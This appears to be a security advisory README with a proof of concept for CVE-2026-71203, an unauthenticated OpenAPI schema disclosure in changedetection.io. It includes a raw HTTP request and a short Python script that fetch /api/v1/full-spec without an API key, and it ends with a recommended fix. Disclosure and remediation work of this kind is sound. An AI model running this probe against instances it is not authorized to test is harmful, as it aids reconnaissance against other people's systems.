nel-droid/cve-2026-71203-pocPoC: changedetection.io unauthenticated OpenAPI schema disclosure (CVE-2026-71203, Medium 5.3)
Product: dgtlmoon/changedetection.io — v0.55.7
File: changedetectionio/api/Spec.py
CWE: CWE-306 — Missing Authentication for Critical Function
CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N — 5.3 (Medium)
CNA: Turan Security · CVE record
changedetection.io's REST API resources are protected by an @auth.check_token decorator
that validates the caller's x-api-key header — except the Spec resource registered at
/api/v1/full-spec (), whose method carries neither
nor .
changedetectionio/api/Spec.pyget@auth.check_token@validate_openapi_requestAny unauthenticated network client can retrieve the instance's complete OpenAPI schema, disclosing the full internal API surface (all resource paths, parameters, and response shapes) without presenting any API key. While the schema itself isn't sensitive user data, it hands an attacker a complete, authoritative map of every other API endpoint to target — lowering the cost of further reconnaissance against the instance's actually-protected resources.
GET /api/v1/full-spec HTTP/1.1
Host: target-instance
No x-api-key header, cookie, or any credential required. The response is the full OpenAPI
spec document.
Proof of Concept (Python):
import requests
import sys
target = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:5000"
resp = requests.get(f"{target}/api/v1/full-spec", timeout=10)
print(f"[*] Status: {resp.status_code}")
if resp.status_code == 200:
print("[+] Full OpenAPI schema disclosed with zero authentication:")
print(resp.text[:1000])
Every other REST resource in the API is registered with @auth.check_token (and
@validate_openapi_request) applied to its handler methods; the Spec resource's get
method was not decorated the same way, leaving it as the sole unauthenticated endpoint in an
otherwise API-key-gated surface.
Apply @auth.check_token to Spec.get() consistent with every other API resource, or if the
schema is intended to be public, make that an explicit, documented decision rather than an
inconsistency.